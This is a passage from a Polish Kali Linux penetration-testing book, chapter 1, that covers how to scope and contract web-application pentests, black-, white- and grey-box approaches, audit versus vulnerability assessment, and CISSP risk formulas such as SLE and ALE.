Podstawowe założenia testów penetracyjnych aplikacji internetowych Aplikacja internetowa to aplikacja, która w charakterze klienta wykorzystuje dowolną prze glądarkę sieciową. Taką aplikacją może być na przykład proste forum dyskusyjne, ale również bardzo złożony arkusz kalkulacyjny. Aplikacje internetowe zawdzięczają swoją popularność przede wszystkim łatwości dostępu do usług oraz możliwości centralnego zarządzania systemem wykorzystywanym przez bardzo wiele rozproszonych klientów. Wymagania, jakie musi speł niać klient, aby uzyskać dostęp do aplikacji internetowych, są wyznaczane i realizowane przez standardy przemysłowe współczesnych przeglądarek sieciowych, co znakomicie upraszcza życie zarówno dostawcom takich usług, jak i klientom, którzy z nich korzystają. Aplikacje internetowe są obecnie najczęściej wykorzystywanym rodzajem aplikacji w zdecy dowanej większości firm i organizacji. Jeżeli przyjrzysz się współczesnym smartfonom czy table tom, to przekonasz się, że większość aplikacji dostępnych na tego typu urządzeniach to właśnie aplikacje internetowe. Duża i wciąż rosnąca popularność takich aplikacji stała się przyczyną powstania nowego środowiska, pełnego wyzwań zarówno dla profesjonalistów zajmujących się zabezpieczaniem systemów sieciowych, jak i dla hakerów, zajmujących się przeprowadzaniem ataków i wykorzystywaniem luk w zabezpieczeniach takich systemów. Ze względu na różnorodność systemów sieciowych i rodzajów aplikacji internetowych zakres testów penetracyjnych może być bardzo szeroki. Podczas przeprowadzania tych testów bada niom powinny być poddawane zarówno same elementy środowiska aplikacji internetowych, takie jak usługi hostingowe, dostęp do usług czy metody przechowywania danych, jak i cała komunikacja i wymiana danych pomiędzy nimi. Zakres takiego przedsięwzięcia możemy przedstawić na przykładzie przeprowadzania testów penetracyjnych serwera Linux udostępniającego aplikacje internetowe dla urządzeń mobilnych. Minimalny zakres prac powinien obejmować analizę samego serwera linuksowego (system operacyjny, konfiguracja sieciowa itd.), aplikacje udostępniane na serwerze, sposoby uwierzytel niania użytkowników, urządzenia klienckie korzystające z zasobów serwera oraz komunikację pomiędzy wszystkimi wymienionymi elementami. Dodatkowo w zakresie prac można ująć sprawdzenie, w jaki sposób urządzenia mobilne są dostarczane użytkownikom, czy takie urządze nia są wykorzystywane do innych celów niż korzystanie z danej aplikacji internetowej, czy w po bliżu znajdują się jakieś inne sieci bezprzewodowe, jak przeprowadzana jest aktualizacja i konser wacja systemu i jak przebiega proces weryfikacji użytkowników. Dlaczego to jest takie ważne? Można na przykład bez większych trudności wyobrazić sobie sytuację, w której zabezpieczenia serwera linuksowego zostaną przełamane dzięki podłączeniu się do niego autoryzowanego
23
fl
K a li L in u x . T e s ty p e n e tra c y jn e
urządzenia mobilnego, które zostało wcześniej zainfekowane odpowiednim złośliwym opro gramowaniem. Innym przykładem zagrożenia takiego systemu może być wykorzystanie ser wisów społecznościowych do pozyskania poufnych informacji z autoryzowanych urządzeń mobilnych. W rozdziale 8., „Tworzenie raportów z testów penetracyjnych”, znajdują się przykładowe sza blony dokumentów precyzujących zakresy planowanych testów penetracyjnych. Znajdziesz tam również listy kontrolne, które możesz wykorzystać podczas rozmowy z właścicielem sys temu dotyczącej przygotowania listy celów testu penetracyjnego aplikacji internetowych. Przygo towując zakres prac, powinieneś zawsze mieć na uwadze, że planowany test penetracyjny mu si być dostosowany do specyficznych wymagań biznesowych strony zlecającej, zawierać szczegółowy harmonogram przeprowadzanych operacji, precyzować sprawy związane z finan sowaniem i wynagrodzeniem za wykonane usługi oraz opisywać, co otrzymuje właściciel systemu po zakończeniu testów.
Metodologia przeprowadzania testów penetracyjnych Testy penetracyjne można podzielić na kilka etapów. Pierwszym ważnym etapem prac jest określenie początkowego statusu całego projektu. Najczęściej spotykany podział statusu te stów penetracyjnych wyodrębnia trzy kategorie: testy typu black-box (ang. — „czarne pudełko”), testy typu w hite-box (ang. — „białe pudełko”) oraz podejście mieszane, czyli testy typu grey-box (ang. — „szare pudełko”). Scenariusz typu black-b o x zakłada, że pentester przed rozpoczęciem testu nie posiada żadnej wiedzy na temat badanego systemu, procedur bezpieczeństwa wdrożonych w środowisku danej firmy ani świadczonych przez nią usług. Przeprowadzenie testu typu black-box wymaga szeroko zakrojonego etapu gromadzenia informacji i zazwyczaj jest procesem długotrwałym, zgodnie z założeniem, że potencjalny napastnik może przez długi czas przeprowadzać badania i analizę danego systemu przed dokonaniem finalnego ataku. Z punktu widzenia pentestera scenariusz typu b lack-b o x może sprawiać pewne problemy ze szczegółowym przygotowaniem zakresu prac. Na przykład w takiej sytuacji nasza wiedza na temat badanego środowiska będzie bardzo ograniczona, więc nie będziemy w stanie precyzyjnie oszacować, jak dużo czasu trzeba będzie poświęcić na fazę rekonesansu. W praktyce oczywi ście przekłada się to na koszty przeprowadzania całego testu. Właściciele systemów zazwyczaj nie będą zbyt chętni do podpisywania i finansowania umowy dającej Ci do dyspozycji nieograni czoną ilość czasu i zasobów. Z drugiej jednak strony, jeżeli nie poświęcisz na przeprowadze nie rozpoznania odpowiedniej ilości czasu, to taki test penetracyjny będzie zakończony, zanim jeszcze się na dobre rozpocznie. Taki scenariusz jest również niepraktyczny, ponieważ w rzeczywi stości zdeterminowany haker nie będzie przecież ograniczony ani zakresem prac, ani czasem
24
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
przygotowania ataku, ani budżetem takiej operacji, tak jak wynajęty do wykonania takiego zlecenia pentester. Z tego właśnie powodu uważamy, że scenariusz typu g rey-box jest zdecy dowanie lepszym rozwiązaniem. Scenariusz typu w hite-box zakłada, że pentester posiada szczegółową wiedzę na temat systemu, który będzie przedmiotem testu. W takim scenariuszu cele testu penetracyjnego są szczegółowo zdefiniowane i zazwyczaj jego wyniki są w dużej m ierze przewidywalne. Pentester przed rozpoczęciem działania otrzymuje od właściciela dokładne informacje na temat infrastruktury sieciowej, typów systemów operacyjnych, procedur bezpieczeństw a stosowanych w firmie i świadczonych przez nią usług. „Białe” testowanie zazwyczaj jest skoncentrowane na osiągnięciu specyficznych celów biznesowych, takich jak sprawdzenie, czy zabezpieczenia systemu speł niają określone normy, są zgodne z określonymi przepisami prawnymi lub czy po prostu speł niają wewnętrzne wymogi bezpieczeństwa danej firmy lub organizacji. Zwykle taki scenariusz zajmuje też znacznie mniej czasu. Test penetracyjny typu w hite-box pozwala na znaczne zredu kowanie etapu gromadzenia informacji, dzięki czemu całkowity koszt wykonania takiej usługi jest niższy.
Testy penetracyjne typu white-box są z reguły wykonywane przez wewnętrzne zespoły IT danej firmy zajmujące się bezpieczeństwem zasobów informatycznych.
Testy penetracyjne typu grey-box plasują się gdzieś pomiędzy testami typu black-b o x a w hitebox. Z takim scenariuszem mamy do czynienia w sytuacji, kiedy właściciel danego systemu wyraża zgodę, aby pewne informacje były gromadzone podczas fazy rekonesansu, ale jedno cześnie zezwala pentesterowi na pominięcie tego etapu. Pentester zwykle otrzymuje zestaw podstawowych informacji o celu ataku, aczkolwiek nie ma dostępu do wielu innych, zastrze żonych danych. W rezultacie osoba przeprowadzająca test penetracyjny dysponuje sporą wiedzą o systemie mającym być przedmiotem badania, ale danych jest stanowczo zbyt mało, aby można to było zaklasyfikować jako test typu w hite-box. W realnym świecie potencjalny haker zazwyczaj będzie chciał przed rozpoczęciem ataku ze brać jak najwięcej informacji o jego celu. Większość napastników (z wyjątkiem tzw. .script kid d ies czy po prostu mało doświadczonych „hakerów”, wyszukujących w internecie różne narzędzia i sprawdzających ich działanie) nie wybiera swoich celów przypadkowo. Prawdziwy ha ker jest mocno zmotywowany i zwykle wcześniej miał już w taki czy inny sposób do czynienia z firmą lub organizacją, której zasoby informatyczne są przedmiotem jego ataku. Testy typu grey-box to opcja bardzo atrakcyjna i często wybierana przez profesjonalnych pentesterów, ponieważ ten rodzaj testów pozwala na przeprowadzenie ataku odzwierciedlającego operacje wykonywane przez potencjalnego napastnika w rzeczywistym świecie. Co więcej, testy typu greyb ox pozwalają pentesterowi skoncentrować się bardziej na próbach wykorzystania zidentyfi kowanych luk w zabezpieczeniach niż na przeprowadzaniu szeroko zakrojonego rekonesansu. Dokument zawierający zakres prac powinien również definiować sposób, w jaki test penetracyjny zostanie rozpoczęty i przeprowadzony. Umowa między pentesterem a właścicielem systemu na wykonanie testu penetracyjnego powinna obejmować dane zebrane wcześniej podczas konsultacji
25
fl
K a li L in u x . T e s ty p e n e tra c y jn e
z administratorem systemu (czy na przykład z przedstawicielami działu I T zleceniodawcy) i szczegółowo udokumentować zakres zlecanego testu. Dzięki temu możliwe będzie uniknię cie rekonesansu i atakowania systemów, które nie zostały ujęte w umowie. Dobrze zdefiniowany i udokumentowany zakres prac zabezpiecza zarówno zleceniodawcę, jak i pentestera przed nie kontrolowanym rozszerzaniem zakresu na kolejne systemy, wymusza działanie w określonych ra mach czasowych oraz pomaga dostarczyć odpowiednie materiały i raporty po zakończeniu testu. W realnym świecie potencjalny napastnik zazwyczaj nie jest w żaden sposób ograniczony ta kimi przyziemnymi sprawami jak czas, koszty, etyka działania czy zestaw dozwolonych narzę dzi, stąd legalne przeprowadzanie testów penetracyjnych nie zawsze jest w stanie naśladować rzeczywiste działania hakerów. W odróżnieniu od ukierunkowanych testów penetracyjnych przeprowadzanych na wybranych, ściśle określonych systemach, testy o nieograniczonym za kresie działania mogą nie wykrywać pewnych podatności i luk w zabezpieczeniach po prostu dlatego, że test zostanie zakończony przed sprawdzeniem systemu podatnego na atak lub pentester nie wykona takiego czy innego testu na określonym systemie. Dobrym przykładem może być hipotetyczna sytuacja, w której pentester zdołał przechwycić dane uwierzytelniają ce użytkownika (nazwę konta i hasło dostępu), zakończył test i w raporcie końcowym napisał, że udało mu się uzyskać dostęp do takiego czy innego systemu — ale niestety nie sprawdził już, czy system, do którego uzyskał dostęp, jest podatny na inne ataki sieciowe. W dokumencie precyzującym zakres testu warto również załączyć informacje o tym, kiedy test będzie prze prowadzany, kto ze strony właściciela systemu będzie o nim wiedział i kto jest osobą kontak tową dla pentestera. Pamiętaj, że w rzeczywistym świecie napastnik może uderzyć w każdej chwili, a najczęściej dzieje się to wtedy, kiedy nikt takiego ataku się nie spodziewa. Poniżej przedstawiamy zestawienie najważniejszych zagadnień, które powinieneś wziąć pod uwagę podczas przygotowywania zakresu prac dla testu penetracyjnego: ■
D efinicja systemów, które będą poddane testowi — czyli szczegółowa lista systemów, które będziesz testował na zlecenie klienta. D la każdego z systemów powinieneś załączyć takie informacje, jak nazwa systemu, adres sieciowy, rodzaj systemu oraz jego rola w środowisku zleceniodawcy.
■
Ram y czasowe planowanego testu — czyli dokładne daty i czas rozpoczęcia oraz oczekiwanego zakończenia testu. D obrą i zdecydowanie rekomendowaną praktyką jest takie zaplanowanie testu, aby był przeprowadzany N IE TYLKO w standardowych godzinach pracy firmy czy organizacji.
■
Opis metod testowania systemów — czyli odpowiedzi na pytania typu: jakie metody skanowania są dozwolone, a jakich nie możesz użyć? Jakie rodzaje podatności możesz wykorzystać w próbach przełamania zabezpieczeń systemu? Jakie ryzyko niesie ze sobą zastosowanie poszczególnych metod testowania? Jaki wpływ mogą m ieć potencjalne awarie poszczególnych systemów, spowodowane testami penetracyjnymi, na funkcjonowanie środowiska komputerowego zleceniodawcy? Czy możesz na przykład użyć portali społecznościowych do podszywania się pod pracownika firmy? Czy możesz przeprowadzić atak typu DoS na kluczowe systemy zleceniodawcy? Czy możesz uruchamiać własne skrypty wykorzystujące luki w zabezpieczeniach serwerów zleceniodawcy? Nietrudno zauważyć, że niektóre metody ataku niosą ze sobą potencjalnie znacznie większe zagrożenia uszkodzenia systemów klienta niż inne.
26
R o z d z ia ł 1. • P rzy g o to w a n ia
■
Opis oprogramowania i narzędzi wykorzystywanych podczas testu — czyli lista wszystkich aplikacji i narzędzi, z których będziesz korzystał podczas przeprowadzania testu penetracyjnego. Z oczywistych względów ten punkt je st bardzo ważny, ale jednocześnie może budzić pewne kontrowersje. W ielu profesjonalistów zajm ujących się zagadnieniami bezpieczeństw a systemów informatycznych uważa, że przedstawienie wykorzystywanych narzędzi jest ujawnianiem tajemnic zawodowych. My wierzymy, że jest to prawda tylko w sytuacji, kiedy tacy „konsultanci” wykorzystują powszechnie dostępne oprogramowanie komercyjne i ich raporty końcowe są tylko nieco podrasowanymi raportami wygenerowanymi w prostej linii przez takie narzędzia. Doświadczony pentester nie powinien mieć żadnych obiekcji związanych z ujawnieniem listy wykorzystywanych narzędzi, a w sytuacji, kiedy udało się pomyślnie wykorzystać taką czy inną lukę w zabezpieczeniach, powinien szczegółowo udokumentować całą sprawę, łącznie z opisem użytych narzędzi i poleceń. Dzięki takiemu opisowi proces wykorzystania luki staje się powtarzalny, co pozwoli zleceniodawcy na lepsze zrozumienie sposobu, w jaki zabezpieczenia systemu zostały przełamane i z jakim i wiązało się to trudnościami.
■
Lista osób powiadomionych o planowanym teście penetracyjnym — czyli lista wszystkich „wiedzących”, którzy zostali poinformowani, że test penetracyjny zostanie przeprowadzony w uzgodnionym terminie. Dodatkowo powinny się tutaj znaleźć inform acje o tym, czy ze strony wewnętrznego zespołu IT zajmującego się bezpieczeństw em przewidziana jest jakaś reakcja na próby przełamywania zabezpieczeń prowadzone przez pentestera. Jeżeli tak, to być może warto nie informować wcześniej członków tego zespołu o planowanym teście. Odpowiednie powiadomienia są bardzo ważne zwłaszcza w sytuacji, kiedy badamy aplikacje internetowe, które są udostępniane na serwerach innego dostawcy usług internetowych (na przykład w chmurze), ponieważ przeprowadzenie testu penetracyjnego może mieć wtedy wpływ na działanie pozostałych usług tego dostawcy.
■
Początkowy status testu — czyli poziom wiedzy o badanym systemie, z jakiego rozpoczynamy test penetracyjny. Powinieneś tutaj zamieścić zestawienie danych o systemie, które otrzymasz od jego właściciela przed rozpoczęciem testu. Czy pentester będzie na przykład miał dostęp do serwerów poprzez sieć internet i (lub) intranet? Jaki poziom dostępu do serwerów otrzyma pentester? Jakiego typu test przeprowadzamy dla poszczególnych celów (black-box, w h ite-box czy grey-box)?
■
D efin icja przestrzeni celów — czyli szczegółowy opis funkcji biznesowych celu, które będą przedmiotem testu penetracyjnego. Pentester będzie na przykład przeprowadzał test penetracyjny aplikacji internetowej wykorzystywanej przez dział sprzedaży, ale nie będzie badał innych aplikacji udostępnianych na tym samym serwerze.
■
Identyfikacja obszarów krytycznych — czyli szczegółowa lista systemów, których pentester nie może w żaden sposób „dotykać”, aby nie wywołać przypadkowej awarii spowodowanej testami. Czy celem testu może być na przykład główny serwer odpowiadający za uwierzytelnianie użytkowników w środowisku zleceniodawcy? Utworzenie listy „zakazanych” celów przed rozpoczęciem testu penetracyjnego jest niezmiernie ważne.
27
fl
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
D efin icja „zdobycia flagi” — czyli szczegółowe wytyczne, jak daleko pentester może się posunąć w przełamywaniu zabezpieczeń i eksploatacji skompromitowanego systemu. Czy pentester może próbować usunąć jakieś dane z zasobów sieciowych zleceniodawcy, skopiować je na swój komputer lub zakończyć test po uzyskaniu określonego poziomu nieautoryzowanego dostępu do systemu?
■
Specyfikacja raportu końcowego — czyli opis tego, co zleceniodawca otrzymuje po zakończeniu testu penetracyjnego. Jakiej formy raportu końcowego oczekuje zleceniodawca? Czego oczekuje zleceniodawca po zakończeniu testu penetracyjnego? Jakie cele chce osiągnąć? Upewnij się, że oczekiwania zleceniodawcy zostały dokładnie sprecyzowane, tak aby uniknąć rozszerzania a d h o c zakresu testu w trakcie jego trwania. Czy jakiekolwiek fragmenty raportu końcowego powinny pozostać poufne lub zastrzeżone tylko dla wybranej grupy pracowników? W jakiej formie powinien zostać dostarczony raport końcowy? Dobrym rozwiązaniem może być przedstawienie klientowi przykładowego raportu końcowego przed podpisaniem finalnej umowy, tak aby uniknąć niepotrzebnych niespodzianek.
■
Rekom endacje powykonawcze — czyli informacje o oczekiwanych przez właściciela systemu rekomendacjach usprawnień związanych z podatnością jego systemu na zagrożenia bezpieczeństwa spowodowane wykrytymi lukami w zabezpieczeniach. Czy znalezione podatności na atak i luki w zabezpieczeniach powinny zostać szczegółowo udokumentowane wraz z opisem akcji pozwalających na ich usunięcie? Kto powinien zostać powiadomiony, jeżeli wskutek przeprowadzania testu penetracyjnego badany system ulegnie awarii? Jak pentester powinien postępować w przypadku znalezienia poufnych danych? W praktyce większość firm zajmujących się testam i penetracyjnymi N IE załącza inform acji o sposobach „załatania” znalezionych luk w zabezpieczeniach i pozostawia takie sprawy działowi IT właściciela systemu.
Poniżej zamieszczamy definicje wybranych usług związanych z bezpieczeństwem. D efinicje te mogą Ci ułatwić definiowanie zakresu usług Twojej firmy: ■
Audyt bezpieczeństwa — to proces oszacowania stopnia zgodności ocenianego systemu lub aplikacji z określonymi standardami lub wytycznymi bezpieczeństwa wybranymi jako punkt odniesienia. Standardem nazywamy ściśle określony zestaw kryteriów, które musi spełniać dany system, natomiast wytyczne określają minimalny, akceptowalny poziom bezpieczeństwa danego systemu lub aplikacji. Standardy i wytyczne pozwalają na zachowanie spójności w implementacji zabezpieczeń w systemach teleinformatycznych i mogą być różne dla poszczególnych branż, technologii czy procesów. Duża część zleceń na wykonywanie takich usług dotyczy sytuacji, w których warunkiem dopuszczenia do pracy nowego serwera w sieci produkcyjnej jest pomyślne zaliczenie oficjalnego audytu bezpieczeństw a (na przykład w korporacjach lub instytucjach rządowych) lub wykazanie, że zabezpieczenia danego serwera znajdują się na określonym poziomie dla takich czy innych zastosowań (na przykład przetwarzanie wrażliwych danych). Bardzo ważną sprawą je st poinformowanie
28
R o z d z ia ł 1. • P rzy g o to w a n ia
potencjalnych zleceniodawców, czy Twoja firma posiada odpowiednie ubezpieczenie, chroniące w sytuacji, kiedy audyt wykonany po zakończeniu Twoich usług przyniesie niepomyślne rezultaty. Kolejnym krytycznym czynnikiem jest również dokładne dokumentowanie wszelkich rekomendacji dotyczących usprawniania systemu zabezpieczeń przekazywanych właścicielowi systemu po zakończeniu prac (czy w raporcie końcowym wymieniłeś tylko listę znalezionych podatności i luk w zabezpieczeniach, czy zasugerowałeś jakieś sposoby „załatania” znalezionych luk, czy może zdecydowałeś się na samodzielne usunięcie problemu w porozumieniu z właścicielem systemu?). Audyt bezpieczeństwa to coś znacznie większego i bardziej skomplikowanego niż tylko uruchomienie odpowiednich narzędzi skanujących i wygenerowanie raportu. Przeprowadzanie audytu wymaga postępowania zgodnie z powszechnie przyjętą metodologią i przygotowania raportu według ściśle określonych norm. Bardzo często zdarza się jednak, że właściciel systemu po pomyślnym zakończeniu audytu sprawdzającego zgodność jego systemów z określonymi standardami popada w fałszywe poczucie bezpieczeństwa i samozadowolenia. Należy jednak pamiętać o tym, że proces aktualizacji wszelkich standardów, norm i wytycznych dotyczących zabezpieczania systemów teleinformatycznych jest z reguły dosyć powolny i nie zawsze nadąża za dynamicznie zmieniającymi się rodzajami zagrożeń we współczesnym cyberświecie. Z tego powodu STANOWCZO zalecamy oferowanie klientom usług wykraczających daleko poza normy i standardy, tak aby zapewnić im zabezpieczenia systemów na poziomie wystarczającym do ochrony przed zagrożeniami spotykanymi na co dzień w rzeczywistym świecie. Oprócz wskazywania podatności i luk w zabezpieczeniach systemu klienta dobry konsultant powinien oferować sposoby ich „załatania” oraz sugerować działania pozwalające właścicielowi systemu na podniesienie stanu zabezpieczeń na poziom daleko wykraczający poza powszechnie przyjęte standardy przemysłowe i wytyczne branżowe. ■
W ykryw anie podatności systemu na ataki — to proces, w którym urządzenia sieciowe, serwery, komputery użytkowników, systemy operacyjne lub aplikacje są skanowane i analizowane pod kątem występowania znanych i nieznanych podatności na ataki. Podatność na atak je st zazwyczaj związana z istnieniem luki w zabezpieczeniach, błędu w oprogramowaniu lub z niewłaściwym sposobem zaprojektowania, wykorzystania bądź ochrony urządzenia i jego oprogramowania. Wykorzystanie takiej czy innej podatności może spowodować, że potencjalny napastnik uzyska nieautoryzowany dostęp do systemu, podniesie swoje uprawnienia w nieautoryzowany sposób albo będzie w stanie przeprowadzić inny atak skutkujący awarią systemu bądź urządzenia (na przykład ataki typu DoS), wyciekiem poufnych danych lub innym zakłóceniem normalnego działania. Proces wykrywania podatności na ataki zazwyczaj kończy się po znalezieniu potencjalnych luk w zabezpieczeniach systemu, co oznacza, że pentester w takiej sytuacji nie dokonuje próby wykorzystania zidentyfikowanej podatności w celu zweryfikowania, czy stanowi ona realne, czy tylko potencjalne zagrożenie. Raport generowany po zakończeniu procesu wykrywania powinien obejmować ocenę
29
fl
fl
K a li L in u x . T e s ty p e n e tra c y jn e
ryzyka związanego z poszczególnymi podatnościami oraz rekomendować sposoby usunięcia (inaczej mówiąc, „załatania”) znalezionych luk. Istnieje bardzo wiele narzędzi, takich jak na przykład Kali Linux, które pozwalają na skanowanie i wyszukiwanie podatności na ataki systemów operacyjnych, oprogramowania, otwartych portów komunikacyjnych i innych elementów. Podobnie jak w przypadku testów penetracyjnych, wyszukiwanie podatności może mieć charakter biały (w hite-box), szary (grey-box) lub czarny (black-box). Skanowanie w poszukiwaniu podatności je s t użyteczne tylko w sytuacji, kiedy obejm uje również ocenę ryzyka. Niestety, zdarza się, że w ramach audytu bezpieczeństwa wykonywany jest skan podatności, którego rezultaty przyczyniają się jedynie do zwiększenia objętości raportu końcowego, ale poza tym tak naprawdę nie mają praktycznie żadnej wartości. D zieje się tak dlatego, że w raportach z większości skanerów wykorzystywanych do wyszukiwania podatności można znaleźć wyniki fałszywie pozytywne, wskazujące na istnienie podatności, których w rzeczywistości nie ma. Przyczyn tego jest bardzo wiele, od nieprawidłowej identyfikacji badanego systemu operacyjnego, poprzez wyszukiwanie poszczególnych aktualizacji bezpieczeństwa bez zwracania uwagi na zainstalowane aktualizacje zbiorcze i dodatki serwisowe, aż do niepoprawnej identyfikacji wersji zainstalowanego oprogramowania. Jak widać, w takiej sytuacji prawdziwy obraz stanu systemu może się wyłonić dopiero po dołączeniu do takiego raportu oceny ryzyka związanego z poszczególnymi podatnościami. W wielu przypadkach oznacza to niestety, że raporty wygenerowane przez zautomatyzowane narzędzia skanujące muszą być dodatkowo weryfikowane. Właściciel systemu zazwyczaj chce wiedzieć, jakie ryzyko jest związane z istnieniem takiej czy innej podatności oraz jakie będą szacowane koszty je j usunięcia lub przynajmniej zredukowania do akceptowalnego poziomu. Aby poprawnie oszacować koszty usunięcia podatności, musimy zatem wiedzieć, jak ocenić związane z nią ryzyko.
Ocena ryzyka Zrozumienie metody oceny ryzyka związanego z poszczególnymi podatnościami na atak jest nie zmiernie istotnym czynnikiem, ponieważ na bazie tej oceny podejmowane są decyzje o tym, w jaki sposób należy zareagować. Większość firm, analizując wpływ ryzyka związanego z daną podatno ścią na funkcjonowanie wybranego systemu czy aplikacji, odnosi się do atrybutów słynnej triady CIA — poufności, integralności i dostępności (ang. confidentiality, integrity, availability). Aby przy szacowaniu ryzyka związanego z daną podatnością otrzymać pełny obraz tego, jakie zagrożenie stanowi ona dla systemu, właściciel systemu musi przeanalizować nie tylko je j wpływ na każdy z wymienionych czynników osobno, ale również na wszystkie trzy czynniki jako całość. Decyzja o tym, czy ryzyko związane z daną podatnością w wystarczający sposób uzasadnia ko nieczność poniesienia kosztów wdrożenia usprawnień pozwalających na jego zredukowanie do akceptowalnego poziomu, należy oczywiście do właściciela systemu. Większość klientów za pewne nie zgodzi się na przykład na wydanie kilku milionów dolarów na załatanie luki w zabez
30
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
pieczeniach pozwalającej na skompromitowanie publicznie dostępnej drukarki, ale z pewnością nie będzie się długo zastanawiać nad wydaniem dwukrotnie większej sumy na odpowiednie za bezpieczenie systemów przetwarzających poufne dane firmy. Zgodnie z wytycznymi dla certyfikatu C IS S P do obliczania ryzyka związanego z podatnością systemu lub aplikacji na atak wykorzystywane są formuły przedstawione poniżej. Spodziewana jednorazowa strata (SLE — ang. Single L oss Expectancy) — to koszt związany z przewidywaną stratą wartości zasobu (AV — ang. Asset Value) wynikającą z jednokrotnego wy stąpienia zdarzenia powodującego daną stratę. Wskaźnik ekspozycji (E F — ang. Exposure Factor) określa procent wartości zasobu AV, jaki zostanie utracony w wyniku pojedynczego zdarzenia powodującego daną stratę (na przykład wysokość strat, jakie firma dostarczająca usługi interneto we może ponieść w wyniku awarii i wyłączenia jednego z serwerów). Wartość współczynnika SL E dla każdego zasobu powinna być obliczana podczas planowania budżetu wydatków związanych z bezpieczeństwem systemów informatycznych. Jeżeli po obliczeniu SL E okaże się, że potencjalna awaria może przynieść firmie miliony dolarów straty, to z pewnością warto rozważyć alokacje odpowiednich funduszy w planowanym budżecie. Formuła do obliczania wartości spodziewanej jednorazowej straty (SLE) ma następującą postać: SLE = A V *E F Kolejna bardzo ważna formuła pozwala na oszacowanie, jak często może wystąpić strata na poziomie SL E . Jeżeli strata SL E o wysokości wielu milionów dolarów może się przytrafić raz na kilkaset tysięcy lat (na przykład w wyniku bezpośredniego uderzenia meteorytu w budy nek firmy), to po dokładnej analizie kosztów zapewne dojdziemy do wniosku, że zainwesto wanie kolejnych milionów dolarów w wybudowanie czegoś w rodzaju futurystycznej tarczy antymeteorytowej chroniącej centralę firmy nie będzie miało większego sensu. D la kontrastu, jeżeli podobne straty może przynieść pożar, a prawdopodobieństwo jego wystąpienia jest sza cowane na raz na kilka lat, to zainwestowanie odpowiednich funduszy w system przeciwpoża rowy będzie z pewnością bardzo rozsądnym posunięciem. Częstotliwość wystąpienia zdarzenia powodującego stratę w ciągu roku jest określana jako roczny wskaźnik wystąpienia zdarzenia (ARO — ang. Annual R ate o f O ccu ren ce). Następnym ważnym wskaźnikiem jest roczna oczekiwana strata (ALE — ang. Annual L oss Exposure), która reprezentuje wartość przewidywanych rocznych strat wynikających z wystąpienia danego zdarzenia. Na przykład dla zdarzenia związanego z meteorytem niszczącym budynek firmy (wystąpienie zdarzenia raz na kilkaset tysięcy lat) wartość wskaźnika A LE jest zapewne bardzo niska, ale już dla wspomnianego wcześniej pożaru będzie to kwota, którą z pewnością warto uwzględnić podczas planowania przyszłych inwestycji związanych z zabezpieczeniami budynku. Formuła do obliczania wartości rocznej oczekiwanej straty (ALE) została przedstawiona poniżej: A LE = SLE *A R O
31
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Ostatnie i najważniejsze pytanie, na które musimy sobie odpowiedzieć, dotyczy tego, jaka jest ocena ryzyka dla danego zasobu związana z występowaniem danej podatności. Odpowiedź na to pytanie będzie miała bezpośredni wpływ na decyzję, czy warto zainwestować w poprawę zabezpieczeń danego zasobu, i jeżeli tak, to jakie fundusze należałoby na to przeznaczyć. Formuła do obliczania wartości ryzyka dla danego zasobu wygląda następująco: R yzyko = W artośćZ asobu*W spółczyn nikZ agrożen ia* W spó łczynn ikP odatn ości*Szacow an yW pływ N aZ asób Bardzo często właściciel systemu nie zna wartości zmiennych niezbędnych do wykonania ob liczeń związanych z zarządzaniem ryzykiem. Przedstawione formuły stanowią oczywiście tyl ko pewnego rodzaju wskazówki, które pozwalają na lepsze zrozumienie specyfiki zagadnień związanych z szacowaniem kosztów inwestycji w poprawę zabezpieczeń systemów teleinfor matycznych. Formuły, których używaliśmy do obliczania ryzyka w scenariuszach z deszczem meteorytów i pożarem w budynku firmy, z pewnością pomogą w przygotowaniu uzasadnienia, dlaczego zaawansowany system przeciwpożarowy będzie zdecydowanie lepszą inwestycją niż tarcza chroniąca przed upadkiem na budynek niezapowiedzianych gości z kosmosu. Testy penetracyjne to metody przeprowadzania ataków na podatności i luki w zabezpieczeniach systemów i aplikacji w sposób naśladujący rzeczywiste działania hakerów. Testy penetracyjne zazwyczaj przeprowadza się w sytuacji, kiedy wdrożenie wszystkich zaplanowanych zabezpieczeń systemów informatycznych zostało zakończone i właściciel systemu chce się upewnić, że nic nie zostało przeoczone. Jak już wspominaliśmy, w zależności od tego, jaką wiedzą o badanym systemie dysponuje pentester, testy penetracyjne możemy podzielić na trzy kategorie: białe (w hite-box pentest), szare (grey-box pentest) lub czarne (black-box pentest). Kluczowa różnica pomiędzy testami penetracyjnymi a skanowaniem systemu w poszukiwaniu podatności na ataki (ang. vulnerability assessment) polega na tym, że podczas testów penetracyj nych dokonywana jest próba wykorzystania znalezionych podatności i luk do przeprowadze nia ataku na dany system i przełamania jego zabezpieczeń, co w efekcie pozwala na weryfika cję, czy znalezione podatności stanowią realne zagrożenie dla systemu. Skanowanie systemu w poszukiwaniu podatności może się przerodzić w test penetracyjny w sytuacji, kiedy właściciel systemu zezwoli pentesterowi na dokonanie próby przeprowadzenia ataku wykorzystującego znalezione podatności. Zazwyczaj koszt przeprowadzenia testów penetracyjnych jest wyższy niż w przypadku samego poszukiwania podatności, ponieważ jest z reguły procesem znacznie bardziej długotrwałym i wymaga zaangażowania wielu dodatkowych narzędzi i innych zasobów. Co ciekawe, jednym z bardzo rozpowszechnionych, a jednocześnie nieprawdziwych poglądów jest stwierdzenie, że przeprowadzenie testów penetracyjnych zwiększa bezpieczeństwo bada nego systemu, ponieważ jest procesem znacznie kosztowniejszym niż wiele innych usług IT związanych z wdrażaniem i testowaniem zabezpieczeń. Zapamiętaj: ■
32
Testy penetracyjne nie mają żadnego wpływu na zwiększenie bezpieczeństwa badanych zasobów, ponieważ ich zadaniem je st po prostu ocena stanu istniejących zabezpieczeń! W łaściciel systemu w zasadzie nie powinien zlecać wykonania testów penetracyjnych, jeżeli nie jest przekonany, że jego system jest już w wystarczającym stopniu zabezpieczony.
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
